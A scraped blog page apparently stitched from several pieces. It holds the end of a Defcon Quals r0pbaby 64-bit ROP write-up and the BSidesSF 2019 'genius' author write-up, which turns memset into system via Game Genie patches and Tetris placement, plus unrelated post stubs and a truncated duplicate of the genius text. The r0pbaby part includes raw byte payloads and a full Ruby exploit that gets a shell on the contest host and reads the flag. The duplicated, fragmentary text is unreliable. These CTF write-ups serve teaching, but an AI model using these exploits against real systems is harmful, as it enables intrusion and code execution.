    Because you only get 8 bytes before you hit the return address, the first 8 bytes are probably overwriting the saved frame pointer (or whatever, it doesn't really matter, but you can prove it's the frame pointer by using a debugger and verifying that rbp is 0x4141414141414141 after it returns (it is)).

    The main thing is, as we saw earlier, if you send the string "AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD", the "BBBBBBBB" winds up as main()'s return address. That means the stack winds up looking like this before main() starts cleaning up its stack frame:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- WAS the start of main()'s stack frame
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       |
    +----------------------+
    |       BBBBBBBB       | <-- return address of main()
    +----------------------+
    |       AAAAAAAA       | <-- overflowable variable must start here
    +----------------------+
    |                      |
    |                      |
    |     [local vars]     |
    |                      |
    |                      | <-- rsp
    +----------------------+ <-- end of main()'s stack frame
    |...lower addresses....|
    +----------------------+
    

    When main attempts to return, it tries to return to 0x4242424242424242 as we saw earlier, and it crashes.

    Now, one thing we can do is return directly to system(). But your guess is as good as mine as to what's in rdi, but you can bet it's not going to be "/bin/sh". So instead, we return to our gadget:

    +----------------------+
    |...higher addresses...|
    +----------------------+ <-- start of main()'s stack frame
    |       DDDDDDDD       |
    +----------------------+
    |       CCCCCCCC       |
    +----------------------+
    |     gadget_addr      | <-- return address of main()
    +----------------------+
    |       AAAAAAAA       | <-- overflowable variable must start here
    +----------------------+
    |                      |
    |                      |
    |     [local vars]     |
    |                      |
    |                      | <-- rsp
    +----------------------+ <-- end of main()'s stack frame
    |...lower addresses....|
    +----------------------+
    

    Since I have ASLR off on my computer (if you do turn it off, please make sure you turn it back on!), I can pre-compute the addresses I need.

    Symbol system: 0x00007FFFF7883960 (from the program)

    sh_addr = system_addr + 0x11f71c
    sh_addr = 0x00007ffff7883960 + 0x11f71c
    sh_addr = 0x7ffff79a307c

    gadget_addr = system_addr + 0xa7969
    gadget_addr = 0x00007ffff7883960 + 0xa7969
    gadget_addr = 0x7ffff792b2c9

    So now, let's change the exploit we used to crash it a long time ago (we replace the "B"s with the address of our gadget, in little endian format:

    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00CCCCCCCCDDDDDDDD\n' | ./r0pbaby
    Welcome to an easy Return Oriented Programming challenge...
    [...]
    Menu:
    Segmentation fault (core dumped)
    

    Great! It crashed as expected! Let's take a look at HOW it crashed:

    $ gdb -q ./r0pbaby ./core
    Core was generated by `./r0pbaby'.
    Program terminated with signal SIGSEGV, Segmentation fault.
    #0  0x00007ffff792b2cb in clone () from /lib64/libc.so.6
    (gdb) x/i $rip
    => 0x7ffff792b2cb :  call   rax
    

    It crashed on the call at the end of the gadget, which makes sense! Let's check out what it's trying to call and what it's using as a parameter:

    (gdb) print/x $rax
    $1 = 0x4343434343434343
    (gdb) print/x $rdi
    $2 = 0x4444444444444444
    

    It's trying to call "CCCCCCCC" with the parameter "DDDDDDDD". Awesome! Let's try it again, but this time we'll plug in our sh_address in place of "DDDDDDDD" to make sure that's working (I strongly believe in incremental testing :) ):

    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00CCCCCCCC\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby
    [...]
    Segmentation fault (core dumped)
    $ gdb -q ./r0pbaby ./core
    [...]
    (gdb) x/i $rip
    => 0x7ffff792b2cb :  call   rax
    

    It's still crashing in the same place! We don't have to check rax, we know it'll be 0x4343434343434343 ("CCCCCCCC") again. But let's check out if rdi is right:

    (gdb) print/x $rdi
    $2 = 0x7ffff79a307c
    (gdb) x/s $rdi
    0x7ffff79a307c: "/bin/sh"
    

    All right, the parameter is set properly!

    One last step: Replace the return address ("CCCCCCCC") with the address of system 0x00007ffff7883960:

    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00\x60\x39\x88\xf7\xff\x7f\x00\x00\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby
    

    Unfortunately, you can't return into system(). I couldn't figure out why, but on Twitter Jan Kadijk said that it's likely because system() ends when it sees the end of file (EOF) marker, which makes perfect sense.

    So in the interest of proving that this actually returns to a function, we'll call printf (0x00007FFFF7892F10) instead:

    $ echo -ne '3\n32\nAAAAAAAA\xc9\xb2\x92\xf7\xff\x7f\x00\x00\x10\x2f\x89\xf7\xff\x7f\x00\x00\x7c\x30\x9a\xf7\xff\x7f\x00\x00\n' | ./r0pbaby
    
    Welcome to an easy Return Oriented Programming challenge...
    Menu:
    1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Enter bytes to send (max 1024): 1) Get libc address
    2) Get address of a libc function
    3) Nom nom r0p buffer to stack
    4) Exit
    : Bad choice.
    /bin/sh
    

    It prints out its first parameter - "/bin/sh" - proving that printf() was called and therefore the return chain works!

    The exploit

    Here's the full exploit in Ruby. If you want to run this against your own system, you'll have to calculate the offset of the "/bin/sh" string and the handy-dandy gadget first! Just find them in IDA or objdump or whatever and subtract the address of system() from them.

    #!/usr/bin/ruby
    
    require 'socket'
    
    SH_OFFSET_REAL = 0x13669b
    SH_OFFSET_MINE = 0x11f71c
    
    GADGET_OFFSET_REAL = 0xb3e39
    GADGET_OFFSET_MINE = 0xa7969
    
    #HOST = "localhost"
    HOST = "r0pbaby_542ee6516410709a1421141501f03760.quals.shallweplayaga.me"
    
    PORT = 10436
    
    s = TCPSocket.new(HOST, PORT)
    
    # Receive until the string matches the regex, then delete everything
    # up to the regex
    def recv_until(s, regex)
      buffer = ""
    
      loop do
        buffer += s.recv(1024)
        if(buffer =~ /#{regex}/m)
          return buffer.gsub(/.*#{regex}/m, '')
        end
      end
    end
    
    # Get the address of "system"
    puts("Getting the address of system()...")
    s.write("2\n")
    s.write("system\n")
    system_addr = recv_until(s, "Symbol system: ").to_i(16)
    puts("system() is at 0x%08x" % system_addr)
    
    # Build the ROP chain
    puts("Building the ROP chain...")
    payload = "AAAAAAAA" +
      [system_addr + GADGET_OFFSET_REAL].pack("<Q") + # address of the gadget
      [system_addr].pack("<Q") +                      # address of system
      [system_addr + SH_OFFSET_REAL].pack("<Q") +     # address of "/bin/sh"
      ""
    
    # Write the ROP chain
    puts("Sending the ROP chain...")
    s.write("3\n")
    s.write("#{payload.length}\n")
    s.write(payload)
    
    # Tell the program to exit
    puts("Exiting the program...")
    s.write("4\n")
    
    # Give sh some time to start
    puts("Pausing...")
    sleep(1)
    
    # Write the command we want to run
    puts("Attempting to read the flag!")
    s.write("cat /home/r0pbaby/flag\n")
    
    # Receive forever
    loop do
      x = s.recv(1024)
    
      if(x.nil? || x == "")
        puts("Done!")
        exit
      end
      puts(x)
    end
    

    [update] Or... do it the easy way

    After I posted this, I got a tweet from @gaasedelen informing me that libc has a "magic" address that will literally call exec() with "/bin/sh", making much of this unnecessary for this particular level. You can find it by seeing where the "/bin/sh" string is referenced. You can return to that address and a shell pops.

    But it's still a good idea to know how to construct a ROP chain, even if it's not strictly necessary. :)

    Conclusion

    And that's how to perform a ROP attack against a 64-bit binary! I'd love to hear feedback!

    3 thoughts on “Defcon Quals: r0pbaby (simple 64-bit ROP)

    1. Reply

      hasherezade

      Awesome writeup, it was a pleasure to read. Thanks!

    2. Reply

      joey

      and if the bug is in str* functions and we can't have null bytes in the exploit string?

    3. Reply

      0x3f97

      I search for "pop rdi" in IDA (use ida pro 6.8 version) , but find nothing...

      How could i find a gadget?

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### #####EOF##### BSidesSF CTF author writeup: genius » SkullSecurity


    BSidesSF CTF author writeup: genius

    Hey all,

    This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius!

    genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the sourcecode, solution, and everything needed to run it yourself on our Github release!

    It is actually implemented as a pair of programs: loader and genius. I only provide the binaries to the players, so it's up to the player to reverse engineer them. Fortunately, for this writeup, we'll have source to reference as needed!

    Ultimately, the player is expected to gain code execution by tricking genius into running system("sh;");, with the help of loader (at least, that's how I solved it and that's how others I talked to solved it). A hint to that is given when the game is initially started:

    $ ./genius
    In case it helps or whatever, system() is at 0x80485e0 and the game object is at 0x804b1a0. :)
    

    After that, it starts displaying a Tetris-like commandline game, with the controls 'a' and 'd' to move, 'q' and 'e' to rotate, and 's' to drop the piece to the bottom.

    Here's what the game board looks like with the first block (an 'O') falling:

    +----------+
    |          |
    |          |
    |          |
    |          |
    |          |
    |   **     |
    |   **     |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    +----------+
    Score: 0
    

    And after some blocks fall:

    +----------+
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |        * |
    |        * |
    |       ** |
    |   #      |
    |   ##     |
    |    #     |
    |   ##   # |
    |   ##  ###|
    +----------+
    Score: 3000
    

    Simple enough! No obvious paths to code execution yet! But... that's where loader comes in.

    Loader

    When loader runs, it asks for a "Game Genius code":

    $ ./loader
    Welcome to the Game Genius interface!
    Loading game...
    ...
    Loaded!
    
    Please enter your first Game Genius code, or press <enter> to
    continue!
    

    Some players may guess by the name and format, and others may reverse engineer it, but the codes it wants are classic NES Game Genie codes.

    I found an online code generator written in JavaScript (it's not even online anymore so I linked to the archive.org version) that can generate codes. I only support the 6-character code - no "Key" value.

    Interestingly, the code modifies the game on disk rather than in-memory. That means that the player has access to change basically anything, including read-only data, ELF headers, import table, and so on. After all, it wouldn't be NES if it had memory protection, right?

    So the question is, what do we modify, and to what?

    The code

    We're going to look at a bit of assembly now. In particular, the printf-statement at the start where the address of system is displayed looks like this:

    .text:08049462                 push    offset dword_804B1A0
    .text:08049467                 push    offset _system
    .text:0804946C                 push    offset aInCaseItHelpsO ; "In case it helps or whatever, system() "...
    .text:08049471                 call    _printf
    

    dword_804B1A0 is a bit array representing the game board, where each bit is 1 for a piece, and 0 for no piece. set_square and get_square are implemented like this, in the original C:

    void set_square(int x, int y, int on) {
      int byte = ((y * BOARD_WIDTH) + x) / 8;
      int bit  = ((y * BOARD_WIDTH) + x) % 8;
    
      if(on) {
        game.board[byte] = game.board[byte] | (1 << bit);
      } else {
        game.board[byte] = game.board[byte] & ~(1 << bit);
      }
    }
    
    
    int8_t get_square(int x, int y) {
      int byte = ((y * BOARD_WIDTH) + x) / 8;
      int bit = ((y * BOARD_WIDTH) + x) % 8;
    
      return (game.board[byte] & (1 << bit)) ? 1 : 0;
    }
    

    As you can see, game.board (which is simply dword_804B1A0, which we saw earlier) starts are the upper-left, and encodes the board left to right. So the board we saw earlier:

    ...
    |   #      |
    |   ##     |
    |    #     |
    |   ##   # |
    |   ##  ###|
    +----------+
    

    Is essentially ...0000010000000001100000000010000000011000100001100111 or 0x00...00401802018867. That's not entirely accurate, because each byte is encoded backwards, so we'd have to flip each set of 8 bits to get the actual value, but you get the idea (we won't encode by hand).

    After the game ends, the board is cleared out with memset():

    .text:08049547                 push    1Ah             ; n
    .text:08049549                 push    0               ; c
    .text:0804954B                 push    offset dword_804B1A0 ; s
    .text:08049550                 call    _memset
    

    There's that board variable again, dword_804B1A0!

    That _memset call is where we're going to take control. But how?

    The exploit, part 1

    First off, when memset is called, it jumps to this little stub in the .plt section:

    .plt:08048620                   ; void *memset(void *s, int c, size_t n)
    .plt:08048620                   _memset         proc near               ; CODE XREF: main+57p
    .plt:08048620                                                           ; main+150p
    .plt:08048620 FF 25 30 B0 04 08                 jmp     ds:off_804B030
    .plt:08048620                   _memset         endp
    

    That's the .plt section - the Procedure Linkage Table. It's an absolute jump to the address stored at 0x804B030, which is the address of the real _memset function once the dynamic library is loaded.

    Just above that is _system():

    .plt:080485E0                   ; int system(const char *command)
    .plt:080485E0                   _system         proc near               ; DATA XREF: main+67o
    .plt:080485E0 FF 25 20 B0 04 08                 jmp     ds:off_804B020
    .plt:080485E0                   _system         endp
    

    It looks very similar to _memset(), except one byte of the address is different - the instruction FF2530B00408 becomes FF2520B00408!

    With the first Game Genius code, I change the 0x30 in memset() to 0x20 for system. The virtual address is 0x08048620, which maps to the in-file address of 0x620 (IDA displays the real address in the bottom-left corner). Since we're changing the third byte, we need to change 0x620 + 2 => 0x622 from 0x30 to 0x20, which effectively changes every call to memset to instead call system.

    Entering 622 and 20 into the online game genie code generator gives us our first code, AZZAZT.

    The exploit, part 2

    So now, every time the game attempts to call memset(board) it calls system(board). The problem is that the first few bits of board are quite hard to control (possibly impossible, unless you found another way to use the Game Genius codes to do it).

    However, we can change one byte of the instruction push offset dword_804B1A0, we can somewhat change the address. That means we can shift the address to somewhere inside the board instead of the start!

    Since I have sourcecode access, I can be lazier than players and just set them to see what it'd look like. That way, I can look at putting "sh;" at each offset in the board to see which one would be easiest to build in-game. When I started working on this, I honestly didn't even know if this could work, but it did!

    I'll start with the furthest possible value to the right (at the end of the board):

      game.board[BOARD_SIZE-3] = 's';
      game.board[BOARD_SIZE-2] = 'h';
      game.board[BOARD_SIZE-1] = ';';
    

    That creates a board that looks like:

    ...
    |          |
    |    ##  ##|
    |#    # ## |
    |## ###    |
    +----------+
    

    That looks like an awfully hard shape to make! So let's try setting the next three bytes towards the start:

      game.board[BOARD_SIZE-4] = 's';
      game.board[BOARD_SIZE-3] = 'h';
      game.board[BOARD_SIZE-2] = ';';
    ...
    |          |
    |      ##  |
    |###    # #|
    |# ## ###  |
    |          |
    +----------+
    

    That's still a pretty bad shape. How about third from the end?

      game.board[BOARD_SIZE-5] = 's';
      game.board[BOARD_SIZE-4] = 'h';
      game.board[BOARD_SIZE-3] = ';';
    ...
    
    |          |
    |        ##|
    |  ###    #|
    | ## ## ###|
    |          |
    |          |
    +----------+
    

    That's starting to look like Tetris shapes! I chose that one, and tried to build it.

    First, let's see which bytes "matter" - anything before "sh;" will be ignored, and anything after will run after "sh" exits, thanks to the ";" (you can also use "#" or "\0", but fortunately I didn't have to):

    ...
    |          |
    |        ##|
    |##########|
    |##########|
    |##        |
    |          |
    +----------+
    

    All we really care about is setting the 1 and 0 values within that block properly.. nothing else before or after matters at all.:

    |          |
    |        11|
    |0011100001|
    |0110110111|
    |00        |
    |          |
    +----------+
    

    If we do a bit of math, we'll know that that value starts 0x15 bytes from the start of board. That means we want to change push offset dword_804B1A0 to push offset dword_804B1A0+0x15, aka push offset dword_804B1B5

    In the binary, here is the instruction (including code bytes):

    .text:0804954B 68 A0 B1 04 08  push    offset dword_804B1A0 ; s
    .text:08049550 E8 CB F0 FF FF  call    _memset
    

    In the first line, we simply want to change 0xA0 to 0xB5. That instruction starts at in-file address 0x154B, and the 0xA0 is one byte from the start, so we want to change 0x154B+1 = 0x154C to 0xB5.

    Throwing that address and value into the Game Genie calculator, we get our second code: SLGOGI

    Playing the game

    All that's left is to play the game. Easy, right?

    Fortunately for players (and myself!), I set a static random seed, which means you'll always get the same Tetris blocks in the same order. I literally wrote down the first 20 or so blocks, using standard Tetris names. These are the ones that I ended up using, in order: O, S, T, J, O, Z, Z, T, O, Z, T, J, and L

    Then I took a pencil and paper, and literally started drawing where I wanted pieces to go. We basically want to have a block where you see a '1' and a space where you see a '0'. Blank spaces can be either, since they're ignored.

    Here's our starting state, once again:

    |          |
    |        11|
    |0011100001|
    |0110110111|
    |00        |
    |          |
    +----------+
    

    Then we get a O block. I'll notate it as "a", since it's the first block to fall:

    |          |
    |        11|
    |0011100001|
    |0110110111|
    |00aa      |
    |  aa      |
    +----------+
    

    So far, we're just filling in blanks. The next piece to fall is an S piece, which fits absolutely perfectly (and we label as 'b'):

    |          |
    |        11|
    |00bb100001|
    |0bb0110111|
    |00aa      |
    |  aa      |
    +----------+
    

    Then a T block, 'c', which touches a 1:

    |          |
    |        11|
    |00bb100001|
    |0bb0110c11|
    |00aa   cc |
    |  aa   c  |
    +----------+
    

    Then J ('d'):

    |          |
    |        1d|
    |00bb10000d|
    |0bb0110cdd|
    |00aa   cc |
    |  aa   c  |
    +----------+
    

    Then O ('e'):

    |          |
    |        1d|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then Z ('f'), which fills in the tip:

    |          |
    |         f|
    |        ff|
    |        fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then Z ('g') - here we're starting to throw away pieces, all we need is an L:

    |          |
    |         f|
    | gg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then T ('h'), still throwing away pieces:

    |          |
    |h         |
    |hh       f|
    |hgg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then O ('i'), throw throw throw:

    |          |
    |h ii      |
    |hhii     f|
    |hgg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then Z ('j'), thrown away:

    |          |
    |         j|
    |h ii    jj|
    |hhii    jf|
    |hgg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then T ('k'), thrown away:

    |          |
    |        k |
    |        kk|
    |        kj|
    |h ii    jj|
    |hhii    jf|
    |hgg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then J ('m'):

    |          |
    | m      k |
    | m      kk|
    |mm      kj|
    |h ii    jj|
    |hhii    jf|
    |hgg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    And finally, the L we needed to finish the last part of the puzzle ('o'):

    |          |
    | m      k |
    | m      kk|
    |mm      kj|
    |h ii    jj|
    |hhii    jf|
    |hgg     ff|
    |  ggo   fd|
    |00bbo0000d|
    |0bb0oo0cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    I literally drew all that on paper, erasing and moving stuff as needed to get the shape right. Once I had the shape, I figured out the inputs that would be required by literally playing:

    • as
    • qaas
    • eddds
    • qdddds
    • ds
    • ddddds
    • qaas
    • eaaaas
    • as
    • ddddds
    • edddds
    • aaaaas
    • eas

    Followed by 's' repeated to drop every piece straight down until the board fills up and the game ends.

    To summarize

    So here is the exploit, in brief!

    Run ./loader in the same folder as genius (or user the Dockerfile).

    Enter code 1, AZZAZT, which changes memset into system

    Enter code 2, SLGOGI, which changes system(board) to system(board+0x15)

    Play the game, and enter the list of inputs shown just above.

    When the game ends, like magic, a shell appears!

    +----------+
    |    *     |
    |   *#*    |
    |   ###    |
    |   ##     |
    |   ##     |
    |    #     |
    |   ##     |
    |   #      |
    |   ####   |
    |     #    |
    |   ###  # |
    |#  #    ##|
    |#####   ##|
    |# ###   ##|
    |####    ##|
    |###     ##|
    |  ###   ##|
    |  ###    #|
    | ## ## ###|
    |  #### ## |
    |  #### #  |
    +----------+
    $ pwd
    /home/ron/projects/ctf-2019/challenges/genius/challenge/src
    $ ls
    blocks.h  genius  genius.c  genius.o  loader  loader.c  loader.o  Makefile
    

    And there you have it!

    Leave a Reply

    Your email address will not be published.

     

    #####EOF##### Default » SkullSecurity

    What’s going on with SkullSpace (our hackerspace)?

    Hey everybody, This is just a super quick post today to direct you here - http://www.skullspace.ca/blog/2012/11/skullspace-2-0-the-new-frontier/. That's a post I wrote about SkullSpace - the hackerspace that me and several others helped found a couple years ago. We went down a "too good to be true" road, where we had a ton of space and […]

    Information Security For College Students

    I've thought about this off and on over the last few years.  Today I noticed that Kees Leune (http://www.leune.org/blog/kees/2010/07/teaching-agai.html) is going to be teaching a class this school year.  He was asking for comments and so here's mine.... I'd like to see a threefold class system.  The first class would entail an overview of the […]

    Comments should work again!

    So, I realized that the reCAPTCHA plugin for WordPress sucks was marking a lot of comments as spam, when it was actually working and not getting timeout errors (thanks to my egress filtering). I decided to toss it out and go with a math-based CAPTCHA for posts, so you should once again be able to […]

    Site changes

    Hey all, Just a quick note -- I updated my blog template a bit. On the right, I added some new links and I added some info about myself at the top. I also added "previous" and "next" links above the posts. Hopefully these changes make it easier to get around. Let me know if […]

    #####EOF##### BSidesSF CTF author writeup: genius » SkullSecurity


    BSidesSF CTF author writeup: genius

    Hey all,

    This is going to be an author's writeup of the BSidesSF 2019 CTF challenge: genius!

    genius is probably my favourite challenge from the year, and I'm thrilled that it was solved by 6 teams! It was inspired by a few other challenges I wrote in the past, including Nibbler. You can grab the sourcecode, solution, and everything needed to run it yourself on our Github release!

    It is actually implemented as a pair of programs: loader and genius. I only provide the binaries to the players, so it's up to the player to reverse engineer them. Fortunately, for this writeup, we'll have source to reference as needed!

    Ultimately, the player is expected to gain code execution by tricking genius into running system("sh;");, with the help of loader (at least, that's how I solved it and that's how others I talked to solved it). A hint to that is given when the game is initially started:

    $ ./genius
    In case it helps or whatever, system() is at 0x80485e0 and the game object is at 0x804b1a0. :)
    

    After that, it starts displaying a Tetris-like commandline game, with the controls 'a' and 'd' to move, 'q' and 'e' to rotate, and 's' to drop the piece to the bottom.

    Here's what the game board looks like with the first block (an 'O') falling:

    +----------+
    |          |
    |          |
    |          |
    |          |
    |          |
    |   **     |
    |   **     |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    +----------+
    Score: 0
    

    And after some blocks fall:

    +----------+
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |          |
    |        * |
    |        * |
    |       ** |
    |   #      |
    |   ##     |
    |    #     |
    |   ##   # |
    |   ##  ###|
    +----------+
    Score: 3000
    

    Simple enough! No obvious paths to code execution yet! But... that's where loader comes in.

    Loader

    When loader runs, it asks for a "Game Genius code":

    $ ./loader
    Welcome to the Game Genius interface!
    Loading game...
    ...
    Loaded!
    
    Please enter your first Game Genius code, or press <enter> to
    continue!
    

    Some players may guess by the name and format, and others may reverse engineer it, but the codes it wants are classic NES Game Genie codes.

    I found an online code generator written in JavaScript (it's not even online anymore so I linked to the archive.org version) that can generate codes. I only support the 6-character code - no "Key" value.

    Interestingly, the code modifies the game on disk rather than in-memory. That means that the player has access to change basically anything, including read-only data, ELF headers, import table, and so on. After all, it wouldn't be NES if it had memory protection, right?

    So the question is, what do we modify, and to what?

    The code

    We're going to look at a bit of assembly now. In particular, the printf-statement at the start where the address of system is displayed looks like this:

    .text:08049462                 push    offset dword_804B1A0
    .text:08049467                 push    offset _system
    .text:0804946C                 push    offset aInCaseItHelpsO ; "In case it helps or whatever, system() "...
    .text:08049471                 call    _printf
    

    dword_804B1A0 is a bit array representing the game board, where each bit is 1 for a piece, and 0 for no piece. set_square and get_square are implemented like this, in the original C:

    void set_square(int x, int y, int on) {
      int byte = ((y * BOARD_WIDTH) + x) / 8;
      int bit  = ((y * BOARD_WIDTH) + x) % 8;
    
      if(on) {
        game.board[byte] = game.board[byte] | (1 << bit);
      } else {
        game.board[byte] = game.board[byte] & ~(1 << bit);
      }
    }
    
    
    int8_t get_square(int x, int y) {
      int byte = ((y * BOARD_WIDTH) + x) / 8;
      int bit = ((y * BOARD_WIDTH) + x) % 8;
    
      return (game.board[byte] & (1 << bit)) ? 1 : 0;
    }
    

    As you can see, game.board (which is simply dword_804B1A0, which we saw earlier) starts are the upper-left, and encodes the board left to right. So the board we saw earlier:

    ...
    |   #      |
    |   ##     |
    |    #     |
    |   ##   # |
    |   ##  ###|
    +----------+
    

    Is essentially ...0000010000000001100000000010000000011000100001100111 or 0x00...00401802018867. That's not entirely accurate, because each byte is encoded backwards, so we'd have to flip each set of 8 bits to get the actual value, but you get the idea (we won't encode by hand).

    After the game ends, the board is cleared out with memset():

    .text:08049547                 push    1Ah             ; n
    .text:08049549                 push    0               ; c
    .text:0804954B                 push    offset dword_804B1A0 ; s
    .text:08049550                 call    _memset
    

    There's that board variable again, dword_804B1A0!

    That _memset call is where we're going to take control. But how?

    The exploit, part 1

    First off, when memset is called, it jumps to this little stub in the .plt section:

    .plt:08048620                   ; void *memset(void *s, int c, size_t n)
    .plt:08048620                   _memset         proc near               ; CODE XREF: main+57p
    .plt:08048620                                                           ; main+150p
    .plt:08048620 FF 25 30 B0 04 08                 jmp     ds:off_804B030
    .plt:08048620                   _memset         endp
    

    That's the .plt section - the Procedure Linkage Table. It's an absolute jump to the address stored at 0x804B030, which is the address of the real _memset function once the dynamic library is loaded.

    Just above that is _system():

    .plt:080485E0                   ; int system(const char *command)
    .plt:080485E0                   _system         proc near               ; DATA XREF: main+67o
    .plt:080485E0 FF 25 20 B0 04 08                 jmp     ds:off_804B020
    .plt:080485E0                   _system         endp
    

    It looks very similar to _memset(), except one byte of the address is different - the instruction FF2530B00408 becomes FF2520B00408!

    With the first Game Genius code, I change the 0x30 in memset() to 0x20 for system. The virtual address is 0x08048620, which maps to the in-file address of 0x620 (IDA displays the real address in the bottom-left corner). Since we're changing the third byte, we need to change 0x620 + 2 => 0x622 from 0x30 to 0x20, which effectively changes every call to memset to instead call system.

    Entering 622 and 20 into the online game genie code generator gives us our first code, AZZAZT.

    The exploit, part 2

    So now, every time the game attempts to call memset(board) it calls system(board). The problem is that the first few bits of board are quite hard to control (possibly impossible, unless you found another way to use the Game Genius codes to do it).

    However, we can change one byte of the instruction push offset dword_804B1A0, we can somewhat change the address. That means we can shift the address to somewhere inside the board instead of the start!

    Since I have sourcecode access, I can be lazier than players and just set them to see what it'd look like. That way, I can look at putting "sh;" at each offset in the board to see which one would be easiest to build in-game. When I started working on this, I honestly didn't even know if this could work, but it did!

    I'll start with the furthest possible value to the right (at the end of the board):

      game.board[BOARD_SIZE-3] = 's';
      game.board[BOARD_SIZE-2] = 'h';
      game.board[BOARD_SIZE-1] = ';';
    

    That creates a board that looks like:

    ...
    |          |
    |    ##  ##|
    |#    # ## |
    |## ###    |
    +----------+
    

    That looks like an awfully hard shape to make! So let's try setting the next three bytes towards the start:

      game.board[BOARD_SIZE-4] = 's';
      game.board[BOARD_SIZE-3] = 'h';
      game.board[BOARD_SIZE-2] = ';';
    ...
    |          |
    |      ##  |
    |###    # #|
    |# ## ###  |
    |          |
    +----------+
    

    That's still a pretty bad shape. How about third from the end?

      game.board[BOARD_SIZE-5] = 's';
      game.board[BOARD_SIZE-4] = 'h';
      game.board[BOARD_SIZE-3] = ';';
    ...
    
    |          |
    |        ##|
    |  ###    #|
    | ## ## ###|
    |          |
    |          |
    +----------+
    

    That's starting to look like Tetris shapes! I chose that one, and tried to build it.

    First, let's see which bytes "matter" - anything before "sh;" will be ignored, and anything after will run after "sh" exits, thanks to the ";" (you can also use "#" or "\0", but fortunately I didn't have to):

    ...
    |          |
    |        ##|
    |##########|
    |##########|
    |##        |
    |          |
    +----------+
    

    All we really care about is setting the 1 and 0 values within that block properly.. nothing else before or after matters at all.:

    |          |
    |        11|
    |0011100001|
    |0110110111|
    |00        |
    |          |
    +----------+
    

    If we do a bit of math, we'll know that that value starts 0x15 bytes from the start of board. That means we want to change push offset dword_804B1A0 to push offset dword_804B1A0+0x15, aka push offset dword_804B1B5

    In the binary, here is the instruction (including code bytes):

    .text:0804954B 68 A0 B1 04 08  push    offset dword_804B1A0 ; s
    .text:08049550 E8 CB F0 FF FF  call    _memset
    

    In the first line, we simply want to change 0xA0 to 0xB5. That instruction starts at in-file address 0x154B, and the 0xA0 is one byte from the start, so we want to change 0x154B+1 = 0x154C to 0xB5.

    Throwing that address and value into the Game Genie calculator, we get our second code: SLGOGI

    Playing the game

    All that's left is to play the game. Easy, right?

    Fortunately for players (and myself!), I set a static random seed, which means you'll always get the same Tetris blocks in the same order. I literally wrote down the first 20 or so blocks, using standard Tetris names. These are the ones that I ended up using, in order: O, S, T, J, O, Z, Z, T, O, Z, T, J, and L

    Then I took a pencil and paper, and literally started drawing where I wanted pieces to go. We basically want to have a block where you see a '1' and a space where you see a '0'. Blank spaces can be either, since they're ignored.

    Here's our starting state, once again:

    |          |
    |        11|
    |0011100001|
    |0110110111|
    |00        |
    |          |
    +----------+
    

    Then we get a O block. I'll notate it as "a", since it's the first block to fall:

    |          |
    |        11|
    |0011100001|
    |0110110111|
    |00aa      |
    |  aa      |
    +----------+
    

    So far, we're just filling in blanks. The next piece to fall is an S piece, which fits absolutely perfectly (and we label as 'b'):

    |          |
    |        11|
    |00bb100001|
    |0bb0110111|
    |00aa      |
    |  aa      |
    +----------+
    

    Then a T block, 'c', which touches a 1:

    |          |
    |        11|
    |00bb100001|
    |0bb0110c11|
    |00aa   cc |
    |  aa   c  |
    +----------+
    

    Then J ('d'):

    |          |
    |        1d|
    |00bb10000d|
    |0bb0110cdd|
    |00aa   cc |
    |  aa   c  |
    +----------+
    

    Then O ('e'):

    |          |
    |        1d|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then Z ('f'), which fills in the tip:

    |          |
    |         f|
    |        ff|
    |        fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then Z ('g') - here we're starting to throw away pieces, all we need is an L:

    |          |
    |         f|
    | gg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then T ('h'), still throwing away pieces:

    |          |
    |h         |
    |hh       f|
    |hgg     ff|
    |  gg    fd|
    |00bb10000d|
    |0bb0110cdd|
    |00aaee cc |
    |  aaee c  |
    +----------+
    

    Then O ('i'), throw throw throw:

    |          |
